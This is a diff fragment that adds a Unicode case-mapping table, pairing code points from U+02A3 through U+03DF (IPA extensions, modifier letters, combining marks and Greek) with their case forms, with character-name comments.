+ ["\u02A3", "\u02A3"], /* LATIN SMALL LETTER DZ DIGRAPH (LATIN SMALL LETTER D Z) */
+ ["\u02A4", "\u02A4"], /* LATIN SMALL LETTER DEZH DIGRAPH (LATIN SMALL LETTER D YOGH) */
+ ["\u02A5", "\u02A5"], /* LATIN SMALL LETTER DZ DIGRAPH WITH CURL (LATIN SMALL LETTER D Z CURL) */
+ ["\u02A6", "\u02A6"], /* LATIN SMALL LETTER TS DIGRAPH (LATIN SMALL LETTER T S) */
+ ["\u02A7", "\u02A7"], /* LATIN SMALL LETTER TESH DIGRAPH (LATIN SMALL LETTER T ESH) */
+ ["\u02A8", "\u02A8"], /* LATIN SMALL LETTER TC DIGRAPH WITH CURL (LATIN SMALL LETTER T C CURL) */
+ ["\u02A9", "\u02A9"], /* LATIN SMALL LETTER FENG DIGRAPH */
+ ["\u02AA", "\u02AA"], /* LATIN SMALL LETTER LS DIGRAPH */
+ ["\u02AB", "\u02AB"], /* LATIN SMALL LETTER LZ DIGRAPH */
+ ["\u02AC", "\u02AC"], /* LATIN LETTER BILABIAL PERCUSSIVE */
+ ["\u02AD", "\u02AD"], /* LATIN LETTER BIDENTAL PERCUSSIVE */
+ ["\u02AE", "\u02AE"], /* LATIN SMALL LETTER TURNED H WITH FISHHOOK */
+ ["\u02AF", "\u02AF"], /* LATIN SMALL LETTER TURNED H WITH FISHHOOK AND TAIL */
+ ["\u02B0", "\u02B0"], /* MODIFIER LETTER SMALL H */
+ ["\u02B1", "\u02B1"], /* MODIFIER LETTER SMALL H WITH HOOK (MODIFIER LETTER SMALL H HOOK) */
+ ["\u02B2", "\u02B2"], /* MODIFIER LETTER SMALL J */
+ ["\u02B3", "\u02B3"], /* MODIFIER LETTER SMALL R */
+ ["\u02B4", "\u02B4"], /* MODIFIER LETTER SMALL TURNED R */
+ ["\u02B5", "\u02B5"], /* MODIFIER LETTER SMALL TURNED R WITH HOOK (MODIFIER LETTER SMALL TURNED R HOOK) */
+ ["\u02B6", "\u02B6"], /* MODIFIER LETTER SMALL CAPITAL INVERTED R */
+ ["\u02B7", "\u02B7"], /* MODIFIER LETTER SMALL W */
+ ["\u02B8", "\u02B8"], /* MODIFIER LETTER SMALL Y */
+ ["\u02B9", "\u02B9"], /* MODIFIER LETTER PRIME */
+ ["\u02BA", "\u02BA"], /* MODIFIER LETTER DOUBLE PRIME */
+ ["\u02BB", "\u02BB"], /* MODIFIER LETTER TURNED COMMA */
+ ["\u02BC", "\u02BC"], /* MODIFIER LETTER APOSTROPHE */
+ ["\u02BD", "\u02BD"], /* MODIFIER LETTER REVERSED COMMA */
+ ["\u02BE", "\u02BE"], /* MODIFIER LETTER RIGHT HALF RING */
+ ["\u02BF", "\u02BF"], /* MODIFIER LETTER LEFT HALF RING */
+ ["\u02C0", "\u02C0"], /* MODIFIER LETTER GLOTTAL STOP */
+ ["\u02C1", "\u02C1"], /* MODIFIER LETTER REVERSED GLOTTAL STOP */
+ ["\u02C2", "\u02C2"], /* MODIFIER LETTER LEFT ARROWHEAD */
+ ["\u02C3", "\u02C3"], /* MODIFIER LETTER RIGHT ARROWHEAD */
+ ["\u02C4", "\u02C4"], /* MODIFIER LETTER UP ARROWHEAD */
+ ["\u02C5", "\u02C5"], /* MODIFIER LETTER DOWN ARROWHEAD */
+ ["\u02C6", "\u02C6"], /* MODIFIER LETTER CIRCUMFLEX ACCENT (MODIFIER LETTER CIRCUMFLEX) */
+ ["\u02C7", "\u02C7"], /* CARON (MODIFIER LETTER HACEK) */
+ ["\u02C8", "\u02C8"], /* MODIFIER LETTER VERTICAL LINE */
+ ["\u02C9", "\u02C9"], /* MODIFIER LETTER MACRON */
+ ["\u02CA", "\u02CA"], /* MODIFIER LETTER ACUTE ACCENT (MODIFIER LETTER ACUTE) */
+ ["\u02CB", "\u02CB"], /* MODIFIER LETTER GRAVE ACCENT (MODIFIER LETTER GRAVE) */
+ ["\u02CC", "\u02CC"], /* MODIFIER LETTER LOW VERTICAL LINE */
+ ["\u02CD", "\u02CD"], /* MODIFIER LETTER LOW MACRON */
+ ["\u02CE", "\u02CE"], /* MODIFIER LETTER LOW GRAVE ACCENT (MODIFIER LETTER LOW GRAVE) */
+ ["\u02CF", "\u02CF"], /* MODIFIER LETTER LOW ACUTE ACCENT (MODIFIER LETTER LOW ACUTE) */
+ ["\u02D0", "\u02D0"], /* MODIFIER LETTER TRIANGULAR COLON */
+ ["\u02D1", "\u02D1"], /* MODIFIER LETTER HALF TRIANGULAR COLON */
+ ["\u02D2", "\u02D2"], /* MODIFIER LETTER CENTRED RIGHT HALF RING (MODIFIER LETTER CENTERED RIGHT HALF RING) */
+ ["\u02D3", "\u02D3"], /* MODIFIER LETTER CENTRED LEFT HALF RING (MODIFIER LETTER CENTERED LEFT HALF RING) */
+ ["\u02D4", "\u02D4"], /* MODIFIER LETTER UP TACK */
+ ["\u02D5", "\u02D5"], /* MODIFIER LETTER DOWN TACK */
+ ["\u02D6", "\u02D6"], /* MODIFIER LETTER PLUS SIGN */
+ ["\u02D7", "\u02D7"], /* MODIFIER LETTER MINUS SIGN */
+ ["\u02D8", "\u02D8"], /* BREVE (SPACING BREVE) */
+ ["\u02D9", "\u02D9"], /* DOT ABOVE (SPACING DOT ABOVE) */
+ ["\u02DA", "\u02DA"], /* RING ABOVE (SPACING RING ABOVE) */
+ ["\u02DB", "\u02DB"], /* OGONEK (SPACING OGONEK) */
+ ["\u02DC", "\u02DC"], /* SMALL TILDE (SPACING TILDE) */
+ ["\u02DD", "\u02DD"], /* DOUBLE ACUTE ACCENT (SPACING DOUBLE ACUTE) */
+ ["\u02DE", "\u02DE"], /* MODIFIER LETTER RHOTIC HOOK */
+ ["\u02DF", "\u02DF"], /* MODIFIER LETTER CROSS ACCENT */
+ ["\u02E0", "\u02E0"], /* MODIFIER LETTER SMALL GAMMA */
+ ["\u02E1", "\u02E1"], /* MODIFIER LETTER SMALL L */
+ ["\u02E2", "\u02E2"], /* MODIFIER LETTER SMALL S */
+ ["\u02E3", "\u02E3"], /* MODIFIER LETTER SMALL X */
+ ["\u02E4", "\u02E4"], /* MODIFIER LETTER SMALL REVERSED GLOTTAL STOP */
+ ["\u02E5", "\u02E5"], /* MODIFIER LETTER EXTRA-HIGH TONE BAR */
+ ["\u02E6", "\u02E6"], /* MODIFIER LETTER HIGH TONE BAR */
+ ["\u02E7", "\u02E7"], /* MODIFIER LETTER MID TONE BAR */
+ ["\u02E8", "\u02E8"], /* MODIFIER LETTER LOW TONE BAR */
+ ["\u02E9", "\u02E9"], /* MODIFIER LETTER EXTRA-LOW TONE BAR */
+ ["\u02EA", "\u02EA"], /* MODIFIER LETTER YIN DEPARTING TONE MARK */
+ ["\u02EB", "\u02EB"], /* MODIFIER LETTER YANG DEPARTING TONE MARK */
+ ["\u02EC", "\u02EC"], /* MODIFIER LETTER VOICING */
+ ["\u02ED", "\u02ED"], /* MODIFIER LETTER UNASPIRATED */
+ ["\u02EE", "\u02EE"], /* MODIFIER LETTER DOUBLE APOSTROPHE */
+ ["\u02EF", "\u02EF"], /* MODIFIER LETTER LOW DOWN ARROWHEAD */
+ ["\u02F0", "\u02F0"], /* MODIFIER LETTER LOW UP ARROWHEAD */
+ ["\u02F1", "\u02F1"], /* MODIFIER LETTER LOW LEFT ARROWHEAD */
+ ["\u02F2", "\u02F2"], /* MODIFIER LETTER LOW RIGHT ARROWHEAD */
+ ["\u02F3", "\u02F3"], /* MODIFIER LETTER LOW RING */
+ ["\u02F4", "\u02F4"], /* MODIFIER LETTER MIDDLE GRAVE ACCENT */
+ ["\u02F5", "\u02F5"], /* MODIFIER LETTER MIDDLE DOUBLE GRAVE ACCENT */
+ ["\u02F6", "\u02F6"], /* MODIFIER LETTER MIDDLE DOUBLE ACUTE ACCENT */
+ ["\u02F7", "\u02F7"], /* MODIFIER LETTER LOW TILDE */
+ ["\u02F8", "\u02F8"], /* MODIFIER LETTER RAISED COLON */
+ ["\u02F9", "\u02F9"], /* MODIFIER LETTER BEGIN HIGH TONE */
+ ["\u02FA", "\u02FA"], /* MODIFIER LETTER END HIGH TONE */
+ ["\u02FB", "\u02FB"], /* MODIFIER LETTER BEGIN LOW TONE */
+ ["\u02FC", "\u02FC"], /* MODIFIER LETTER END LOW TONE */
+ ["\u02FD", "\u02FD"], /* MODIFIER LETTER SHELF */
+ ["\u02FE", "\u02FE"], /* MODIFIER LETTER OPEN SHELF */
+ ["\u02FF", "\u02FF"], /* MODIFIER LETTER LOW LEFT ARROW */
+ ["\u0300", "\u0300"], /* COMBINING GRAVE ACCENT (NON-SPACING GRAVE) */
+ ["\u0301", "\u0301"], /* COMBINING ACUTE ACCENT (NON-SPACING ACUTE) */
+ ["\u0302", "\u0302"], /* COMBINING CIRCUMFLEX ACCENT (NON-SPACING CIRCUMFLEX) */
+ ["\u0303", "\u0303"], /* COMBINING TILDE (NON-SPACING TILDE) */
+ ["\u0304", "\u0304"], /* COMBINING MACRON (NON-SPACING MACRON) */
+ ["\u0305", "\u0305"], /* COMBINING OVERLINE (NON-SPACING OVERSCORE) */
+ ["\u0306", "\u0306"], /* COMBINING BREVE (NON-SPACING BREVE) */
+ ["\u0307", "\u0307"], /* COMBINING DOT ABOVE (NON-SPACING DOT ABOVE) */
+ ["\u0308", "\u0308"], /* COMBINING DIAERESIS (NON-SPACING DIAERESIS) */
+ ["\u0309", "\u0309"], /* COMBINING HOOK ABOVE (NON-SPACING HOOK ABOVE) */
+ ["\u030A", "\u030A"], /* COMBINING RING ABOVE (NON-SPACING RING ABOVE) */
+ ["\u030B", "\u030B"], /* COMBINING DOUBLE ACUTE ACCENT (NON-SPACING DOUBLE ACUTE) */
+ ["\u030C", "\u030C"], /* COMBINING CARON (NON-SPACING HACEK) */
+ ["\u030D", "\u030D"], /* COMBINING VERTICAL LINE ABOVE (NON-SPACING VERTICAL LINE ABOVE) */
+ ["\u030E", "\u030E"], /* COMBINING DOUBLE VERTICAL LINE ABOVE (NON-SPACING DOUBLE VERTICAL LINE ABOVE) */
+ ["\u030F", "\u030F"], /* COMBINING DOUBLE GRAVE ACCENT (NON-SPACING DOUBLE GRAVE) */
+ ["\u0310", "\u0310"], /* COMBINING CANDRABINDU (NON-SPACING CANDRABINDU) */
+ ["\u0311", "\u0311"], /* COMBINING INVERTED BREVE (NON-SPACING INVERTED BREVE) */
+ ["\u0312", "\u0312"], /* COMBINING TURNED COMMA ABOVE (NON-SPACING TURNED COMMA ABOVE) */
+ ["\u0313", "\u0313"], /* COMBINING COMMA ABOVE (NON-SPACING COMMA ABOVE) */
+ ["\u0314", "\u0314"], /* COMBINING REVERSED COMMA ABOVE (NON-SPACING REVERSED COMMA ABOVE) */
+ ["\u0315", "\u0315"], /* COMBINING COMMA ABOVE RIGHT (NON-SPACING COMMA ABOVE RIGHT) */
+ ["\u0316", "\u0316"], /* COMBINING GRAVE ACCENT BELOW (NON-SPACING GRAVE BELOW) */
+ ["\u0317", "\u0317"], /* COMBINING ACUTE ACCENT BELOW (NON-SPACING ACUTE BELOW) */
+ ["\u0318", "\u0318"], /* COMBINING LEFT TACK BELOW (NON-SPACING LEFT TACK BELOW) */
+ ["\u0319", "\u0319"], /* COMBINING RIGHT TACK BELOW (NON-SPACING RIGHT TACK BELOW) */
+ ["\u031A", "\u031A"], /* COMBINING LEFT ANGLE ABOVE (NON-SPACING LEFT ANGLE ABOVE) */
+ ["\u031B", "\u031B"], /* COMBINING HORN (NON-SPACING HORN) */
+ ["\u031C", "\u031C"], /* COMBINING LEFT HALF RING BELOW (NON-SPACING LEFT HALF RING BELOW) */
+ ["\u031D", "\u031D"], /* COMBINING UP TACK BELOW (NON-SPACING UP TACK BELOW) */
+ ["\u031E", "\u031E"], /* COMBINING DOWN TACK BELOW (NON-SPACING DOWN TACK BELOW) */
+ ["\u031F", "\u031F"], /* COMBINING PLUS SIGN BELOW (NON-SPACING PLUS SIGN BELOW) */
+ ["\u0320", "\u0320"], /* COMBINING MINUS SIGN BELOW (NON-SPACING MINUS SIGN BELOW) */
+ ["\u0321", "\u0321"], /* COMBINING PALATALIZED HOOK BELOW (NON-SPACING PALATALIZED HOOK BELOW) */
+ ["\u0322", "\u0322"], /* COMBINING RETROFLEX HOOK BELOW (NON-SPACING RETROFLEX HOOK BELOW) */
+ ["\u0323", "\u0323"], /* COMBINING DOT BELOW (NON-SPACING DOT BELOW) */
+ ["\u0324", "\u0324"], /* COMBINING DIAERESIS BELOW (NON-SPACING DOUBLE DOT BELOW) */
+ ["\u0325", "\u0325"], /* COMBINING RING BELOW (NON-SPACING RING BELOW) */
+ ["\u0326", "\u0326"], /* COMBINING COMMA BELOW (NON-SPACING COMMA BELOW) */
+ ["\u0327", "\u0327"], /* COMBINING CEDILLA (NON-SPACING CEDILLA) */
+ ["\u0328", "\u0328"], /* COMBINING OGONEK (NON-SPACING OGONEK) */
+ ["\u0329", "\u0329"], /* COMBINING VERTICAL LINE BELOW (NON-SPACING VERTICAL LINE BELOW) */
+ ["\u032A", "\u032A"], /* COMBINING BRIDGE BELOW (NON-SPACING BRIDGE BELOW) */
+ ["\u032B", "\u032B"], /* COMBINING INVERTED DOUBLE ARCH BELOW (NON-SPACING INVERTED DOUBLE ARCH BELOW) */
+ ["\u032C", "\u032C"], /* COMBINING CARON BELOW (NON-SPACING HACEK BELOW) */
+ ["\u032D", "\u032D"], /* COMBINING CIRCUMFLEX ACCENT BELOW (NON-SPACING CIRCUMFLEX BELOW) */
+ ["\u032E", "\u032E"], /* COMBINING BREVE BELOW (NON-SPACING BREVE BELOW) */
+ ["\u032F", "\u032F"], /* COMBINING INVERTED BREVE BELOW (NON-SPACING INVERTED BREVE BELOW) */
+ ["\u0330", "\u0330"], /* COMBINING TILDE BELOW (NON-SPACING TILDE BELOW) */
+ ["\u0331", "\u0331"], /* COMBINING MACRON BELOW (NON-SPACING MACRON BELOW) */
+ ["\u0332", "\u0332"], /* COMBINING LOW LINE (NON-SPACING UNDERSCORE) */
+ ["\u0333", "\u0333"], /* COMBINING DOUBLE LOW LINE (NON-SPACING DOUBLE UNDERSCORE) */
+ ["\u0334", "\u0334"], /* COMBINING TILDE OVERLAY (NON-SPACING TILDE OVERLAY) */
+ ["\u0335", "\u0335"], /* COMBINING SHORT STROKE OVERLAY (NON-SPACING SHORT BAR OVERLAY) */
+ ["\u0336", "\u0336"], /* COMBINING LONG STROKE OVERLAY (NON-SPACING LONG BAR OVERLAY) */
+ ["\u0337", "\u0337"], /* COMBINING SHORT SOLIDUS OVERLAY (NON-SPACING SHORT SLASH OVERLAY) */
+ ["\u0338", "\u0338"], /* COMBINING LONG SOLIDUS OVERLAY (NON-SPACING LONG SLASH OVERLAY) */
+ ["\u0339", "\u0339"], /* COMBINING RIGHT HALF RING BELOW (NON-SPACING RIGHT HALF RING BELOW) */
+ ["\u033A", "\u033A"], /* COMBINING INVERTED BRIDGE BELOW (NON-SPACING INVERTED BRIDGE BELOW) */
+ ["\u033B", "\u033B"], /* COMBINING SQUARE BELOW (NON-SPACING SQUARE BELOW) */
+ ["\u033C", "\u033C"], /* COMBINING SEAGULL BELOW (NON-SPACING SEAGULL BELOW) */
+ ["\u033D", "\u033D"], /* COMBINING X ABOVE (NON-SPACING X ABOVE) */
+ ["\u033E", "\u033E"], /* COMBINING VERTICAL TILDE (NON-SPACING VERTICAL TILDE) */
+ ["\u033F", "\u033F"], /* COMBINING DOUBLE OVERLINE (NON-SPACING DOUBLE OVERSCORE) */
+ ["\u0340", "\u0340"], /* COMBINING GRAVE TONE MARK (NON-SPACING GRAVE TONE MARK) */
+ ["\u0341", "\u0341"], /* COMBINING ACUTE TONE MARK (NON-SPACING ACUTE TONE MARK) */
+ ["\u0342", "\u0342"], /* COMBINING GREEK PERISPOMENI */
+ ["\u0343", "\u0343"], /* COMBINING GREEK KORONIS */
+ ["\u0344", "\u0344"], /* COMBINING GREEK DIALYTIKA TONOS (GREEK NON-SPACING DIAERESIS TONOS) */
+ ["\u0399", "\u0345"], /* COMBINING GREEK YPOGEGRAMMENI (GREEK NON-SPACING IOTA BELOW) */
+ ["\u0346", "\u0346"], /* COMBINING BRIDGE ABOVE */
+ ["\u0347", "\u0347"], /* COMBINING EQUALS SIGN BELOW */
+ ["\u0348", "\u0348"], /* COMBINING DOUBLE VERTICAL LINE BELOW */
+ ["\u0349", "\u0349"], /* COMBINING LEFT ANGLE BELOW */
+ ["\u034A", "\u034A"], /* COMBINING NOT TILDE ABOVE */
+ ["\u034B", "\u034B"], /* COMBINING HOMOTHETIC ABOVE */
+ ["\u034C", "\u034C"], /* COMBINING ALMOST EQUAL TO ABOVE */
+ ["\u034D", "\u034D"], /* COMBINING LEFT RIGHT ARROW BELOW */
+ ["\u034E", "\u034E"], /* COMBINING UPWARDS ARROW BELOW */
+ ["\u034F", "\u034F"], /* COMBINING GRAPHEME JOINER */
+ ["\u0350", "\u0350"], /* COMBINING RIGHT ARROWHEAD ABOVE */
+ ["\u0351", "\u0351"], /* COMBINING LEFT HALF RING ABOVE */
+ ["\u0352", "\u0352"], /* COMBINING FERMATA */
+ ["\u0353", "\u0353"], /* COMBINING X BELOW */
+ ["\u0354", "\u0354"], /* COMBINING LEFT ARROWHEAD BELOW */
+ ["\u0355", "\u0355"], /* COMBINING RIGHT ARROWHEAD BELOW */
+ ["\u0356", "\u0356"], /* COMBINING RIGHT ARROWHEAD AND UP ARROWHEAD BELOW */
+ ["\u0357", "\u0357"], /* COMBINING RIGHT HALF RING ABOVE */
+ ["\u0358", "\u0358"], /* COMBINING DOT ABOVE RIGHT */
+ ["\u0359", "\u0359"], /* COMBINING ASTERISK BELOW */
+ ["\u035A", "\u035A"], /* COMBINING DOUBLE RING BELOW */
+ ["\u035B", "\u035B"], /* COMBINING ZIGZAG ABOVE */
+ ["\u035C", "\u035C"], /* COMBINING DOUBLE BREVE BELOW */
+ ["\u035D", "\u035D"], /* COMBINING DOUBLE BREVE */
+ ["\u035E", "\u035E"], /* COMBINING DOUBLE MACRON */
+ ["\u035F", "\u035F"], /* COMBINING DOUBLE MACRON BELOW */
+ ["\u0360", "\u0360"], /* COMBINING DOUBLE TILDE */
+ ["\u0361", "\u0361"], /* COMBINING DOUBLE INVERTED BREVE */
+ ["\u0362", "\u0362"], /* COMBINING DOUBLE RIGHTWARDS ARROW BELOW */
+ ["\u0363", "\u0363"], /* COMBINING LATIN SMALL LETTER A */
+ ["\u0364", "\u0364"], /* COMBINING LATIN SMALL LETTER E */
+ ["\u0365", "\u0365"], /* COMBINING LATIN SMALL LETTER I */
+ ["\u0366", "\u0366"], /* COMBINING LATIN SMALL LETTER O */
+ ["\u0367", "\u0367"], /* COMBINING LATIN SMALL LETTER U */
+ ["\u0368", "\u0368"], /* COMBINING LATIN SMALL LETTER C */
+ ["\u0369", "\u0369"], /* COMBINING LATIN SMALL LETTER D */
+ ["\u036A", "\u036A"], /* COMBINING LATIN SMALL LETTER H */
+ ["\u036B", "\u036B"], /* COMBINING LATIN SMALL LETTER M */
+ ["\u036C", "\u036C"], /* COMBINING LATIN SMALL LETTER R */
+ ["\u036D", "\u036D"], /* COMBINING LATIN SMALL LETTER T */
+ ["\u036E", "\u036E"], /* COMBINING LATIN SMALL LETTER V */
+ ["\u036F", "\u036F"], /* COMBINING LATIN SMALL LETTER X */
+ ["\u0370", "\u0371"], /* GREEK CAPITAL LETTER HETA */
+ ["\u0370", "\u0371"], /* GREEK SMALL LETTER HETA */
+ ["\u0372", "\u0373"], /* GREEK CAPITAL LETTER ARCHAIC SAMPI */
+ ["\u0372", "\u0373"], /* GREEK SMALL LETTER ARCHAIC SAMPI */
+ ["\u0374", "\u0374"], /* GREEK NUMERAL SIGN (GREEK UPPER NUMERAL SIGN) */
+ ["\u0375", "\u0375"], /* GREEK LOWER NUMERAL SIGN */
+ ["\u0376", "\u0377"], /* GREEK CAPITAL LETTER PAMPHYLIAN DIGAMMA */
+ ["\u0376", "\u0377"], /* GREEK SMALL LETTER PAMPHYLIAN DIGAMMA */
+ ["\u0378", "\u0378"],
+ ["\u0379", "\u0379"],
+ ["\u037A", "\u037A"], /* GREEK YPOGEGRAMMENI (GREEK SPACING IOTA BELOW) */
+ ["\u03FD", "\u037B"], /* GREEK SMALL REVERSED LUNATE SIGMA SYMBOL */
+ ["\u03FE", "\u037C"], /* GREEK SMALL DOTTED LUNATE SIGMA SYMBOL */
+ ["\u03FF", "\u037D"], /* GREEK SMALL REVERSED DOTTED LUNATE SIGMA SYMBOL */
+ ["\u037E", "\u037E"], /* GREEK QUESTION MARK */
+ ["\u037F", "\u03F3"], /* GREEK CAPITAL LETTER YOT */
+ ["\u0380", "\u0380"],
+ ["\u0381", "\u0381"],
+ ["\u0382", "\u0382"],
+ ["\u0383", "\u0383"],
+ ["\u0384", "\u0384"], /* GREEK TONOS (GREEK SPACING TONOS) */
+ ["\u0385", "\u0385"], /* GREEK DIALYTIKA TONOS (GREEK SPACING DIAERESIS TONOS) */
+ ["\u0386", "\u03AC"], /* GREEK CAPITAL LETTER ALPHA WITH TONOS (GREEK CAPITAL LETTER ALPHA TONOS) */
+ ["\u0387", "\u0387"], /* GREEK ANO TELEIA */
+ ["\u0388", "\u03AD"], /* GREEK CAPITAL LETTER EPSILON WITH TONOS (GREEK CAPITAL LETTER EPSILON TONOS) */
+ ["\u0389", "\u03AE"], /* GREEK CAPITAL LETTER ETA WITH TONOS (GREEK CAPITAL LETTER ETA TONOS) */
+ ["\u038A", "\u03AF"], /* GREEK CAPITAL LETTER IOTA WITH TONOS (GREEK CAPITAL LETTER IOTA TONOS) */
+ ["\u038B", "\u038B"],
+ ["\u038C", "\u03CC"], /* GREEK CAPITAL LETTER OMICRON WITH TONOS (GREEK CAPITAL LETTER OMICRON TONOS) */
+ ["\u038D", "\u038D"],
+ ["\u038E", "\u03CD"], /* GREEK CAPITAL LETTER UPSILON WITH TONOS (GREEK CAPITAL LETTER UPSILON TONOS) */
+ ["\u038F", "\u03CE"], /* GREEK CAPITAL LETTER OMEGA WITH TONOS (GREEK CAPITAL LETTER OMEGA TONOS) */
+ ["\u0399\u0308\u0301", "\u0390"], /* GREEK SMALL LETTER IOTA WITH DIALYTIKA AND TONOS (GREEK SMALL LETTER IOTA DIAERESIS TONOS) */
+ ["\u0391", "\u03B1"], /* GREEK CAPITAL LETTER ALPHA */
+ ["\u0392", "\u03B2"], /* GREEK CAPITAL LETTER BETA */
+ ["\u0393", "\u03B3"], /* GREEK CAPITAL LETTER GAMMA */
+ ["\u0394", "\u03B4"], /* GREEK CAPITAL LETTER DELTA */
+ ["\u0395", "\u03B5"], /* GREEK CAPITAL LETTER EPSILON */
+ ["\u0396", "\u03B6"], /* GREEK CAPITAL LETTER ZETA */
+ ["\u0397", "\u03B7"], /* GREEK CAPITAL LETTER ETA */
+ ["\u0398", "\u03B8"], /* GREEK CAPITAL LETTER THETA */
+ ["\u0399", "\u03B9"], /* GREEK CAPITAL LETTER IOTA */
+ ["\u039A", "\u03BA"], /* GREEK CAPITAL LETTER KAPPA */
+ ["\u039B", "\u03BB"], /* GREEK CAPITAL LETTER LAMDA (GREEK CAPITAL LETTER LAMBDA) */
+ ["\u039C", "\u03BC"], /* GREEK CAPITAL LETTER MU */
+ ["\u039D", "\u03BD"], /* GREEK CAPITAL LETTER NU */
+ ["\u039E", "\u03BE"], /* GREEK CAPITAL LETTER XI */
+ ["\u039F", "\u03BF"], /* GREEK CAPITAL LETTER OMICRON */
+ ["\u03A0", "\u03C0"], /* GREEK CAPITAL LETTER PI */
+ ["\u03A1", "\u03C1"], /* GREEK CAPITAL LETTER RHO */
+ ["\u03A2", "\u03A2"],
+ ["\u03A3", "\u03C3"], /* GREEK CAPITAL LETTER SIGMA */
+ ["\u03A4", "\u03C4"], /* GREEK CAPITAL LETTER TAU */
+ ["\u03A5", "\u03C5"], /* GREEK CAPITAL LETTER UPSILON */
+ ["\u03A6", "\u03C6"], /* GREEK CAPITAL LETTER PHI */
+ ["\u03A7", "\u03C7"], /* GREEK CAPITAL LETTER CHI */
+ ["\u03A8", "\u03C8"], /* GREEK CAPITAL LETTER PSI */
+ ["\u03A9", "\u03C9"], /* GREEK CAPITAL LETTER OMEGA */
+ ["\u03AA", "\u03CA"], /* GREEK CAPITAL LETTER IOTA WITH DIALYTIKA (GREEK CAPITAL LETTER IOTA DIAERESIS) */
+ ["\u03AB", "\u03CB"], /* GREEK CAPITAL LETTER UPSILON WITH DIALYTIKA (GREEK CAPITAL LETTER UPSILON DIAERESIS) */
+ ["\u0386", "\u03AC"], /* GREEK SMALL LETTER ALPHA WITH TONOS (GREEK SMALL LETTER ALPHA TONOS) */
+ ["\u0388", "\u03AD"], /* GREEK SMALL LETTER EPSILON WITH TONOS (GREEK SMALL LETTER EPSILON TONOS) */
+ ["\u0389", "\u03AE"], /* GREEK SMALL LETTER ETA WITH TONOS (GREEK SMALL LETTER ETA TONOS) */
+ ["\u038A", "\u03AF"], /* GREEK SMALL LETTER IOTA WITH TONOS (GREEK SMALL LETTER IOTA TONOS) */
+ ["\u03A5\u0308\u0301", "\u03B0"], /* GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND TONOS (GREEK SMALL LETTER UPSILON DIAERESIS TONOS) */
+ ["\u0391", "\u03B1"], /* GREEK SMALL LETTER ALPHA */
+ ["\u0392", "\u03B2"], /* GREEK SMALL LETTER BETA */
+ ["\u0393", "\u03B3"], /* GREEK SMALL LETTER GAMMA */
+ ["\u0394", "\u03B4"], /* GREEK SMALL LETTER DELTA */
+ ["\u0395", "\u03B5"], /* GREEK SMALL LETTER EPSILON */
+ ["\u0396", "\u03B6"], /* GREEK SMALL LETTER ZETA */
+ ["\u0397", "\u03B7"], /* GREEK SMALL LETTER ETA */
+ ["\u0398", "\u03B8"], /* GREEK SMALL LETTER THETA */
+ ["\u0399", "\u03B9"], /* GREEK SMALL LETTER IOTA */
+ ["\u039A", "\u03BA"], /* GREEK SMALL LETTER KAPPA */
+ ["\u039B", "\u03BB"], /* GREEK SMALL LETTER LAMDA (GREEK SMALL LETTER LAMBDA) */
+ ["\u039C", "\u03BC"], /* GREEK SMALL LETTER MU */
+ ["\u039D", "\u03BD"], /* GREEK SMALL LETTER NU */
+ ["\u039E", "\u03BE"], /* GREEK SMALL LETTER XI */
+ ["\u039F", "\u03BF"], /* GREEK SMALL LETTER OMICRON */
+ ["\u03A0", "\u03C0"], /* GREEK SMALL LETTER PI */
+ ["\u03A1", "\u03C1"], /* GREEK SMALL LETTER RHO */
+ ["\u03A3", "\u03C2"], /* GREEK SMALL LETTER FINAL SIGMA */
+ ["\u03A3", "\u03C3"], /* GREEK SMALL LETTER SIGMA */
+ ["\u03A4", "\u03C4"], /* GREEK SMALL LETTER TAU */
+ ["\u03A5", "\u03C5"], /* GREEK SMALL LETTER UPSILON */
+ ["\u03A6", "\u03C6"], /* GREEK SMALL LETTER PHI */
+ ["\u03A7", "\u03C7"], /* GREEK SMALL LETTER CHI */
+ ["\u03A8", "\u03C8"], /* GREEK SMALL LETTER PSI */
+ ["\u03A9", "\u03C9"], /* GREEK SMALL LETTER OMEGA */
+ ["\u03AA", "\u03CA"], /* GREEK SMALL LETTER IOTA WITH DIALYTIKA (GREEK SMALL LETTER IOTA DIAERESIS) */
+ ["\u03AB", "\u03CB"], /* GREEK SMALL LETTER UPSILON WITH DIALYTIKA (GREEK SMALL LETTER UPSILON DIAERESIS) */
+ ["\u038C", "\u03CC"], /* GREEK SMALL LETTER OMICRON WITH TONOS (GREEK SMALL LETTER OMICRON TONOS) */
+ ["\u038E", "\u03CD"], /* GREEK SMALL LETTER UPSILON WITH TONOS (GREEK SMALL LETTER UPSILON TONOS) */
+ ["\u038F", "\u03CE"], /* GREEK SMALL LETTER OMEGA WITH TONOS (GREEK SMALL LETTER OMEGA TONOS) */
+ ["\u03CF", "\u03D7"], /* GREEK CAPITAL KAI SYMBOL */
+ ["\u0392", "\u03D0"], /* GREEK BETA SYMBOL (GREEK SMALL LETTER CURLED BETA) */
+ ["\u0398", "\u03D1"], /* GREEK THETA SYMBOL (GREEK SMALL LETTER SCRIPT THETA) */
+ ["\u03D2", "\u03D2"], /* GREEK UPSILON WITH HOOK SYMBOL (GREEK CAPITAL LETTER UPSILON HOOK) */
+ ["\u03D3", "\u03D3"], /* GREEK UPSILON WITH ACUTE AND HOOK SYMBOL (GREEK CAPITAL LETTER UPSILON HOOK TONOS) */
+ ["\u03D4", "\u03D4"], /* GREEK UPSILON WITH DIAERESIS AND HOOK SYMBOL (GREEK CAPITAL LETTER UPSILON HOOK DIAERESIS) */
+ ["\u03A6", "\u03D5"], /* GREEK PHI SYMBOL (GREEK SMALL LETTER SCRIPT PHI) */
+ ["\u03A0", "\u03D6"], /* GREEK PI SYMBOL (GREEK SMALL LETTER OMEGA PI) */
+ ["\u03CF", "\u03D7"], /* GREEK KAI SYMBOL */
+ ["\u03D8", "\u03D9"], /* GREEK LETTER ARCHAIC KOPPA */
+ ["\u03D8", "\u03D9"], /* GREEK SMALL LETTER ARCHAIC KOPPA */
+ ["\u03DA", "\u03DB"], /* GREEK LETTER STIGMA (GREEK CAPITAL LETTER STIGMA) */
+ ["\u03DA", "\u03DB"], /* GREEK SMALL LETTER STIGMA */
+ ["\u03DC", "\u03DD"], /* GREEK LETTER DIGAMMA (GREEK CAPITAL LETTER DIGAMMA) */
+ ["\u03DC", "\u03DD"], /* GREEK SMALL LETTER DIGAMMA */
+ ["\u03DE", "\u03DF"], /* GREEK LETTER KOPPA (GREEK CAPITAL LETTER KOPPA) */
+ ["\u03DE", "\u03DF"], /* GREEK SMALL LETTER KOPPA */
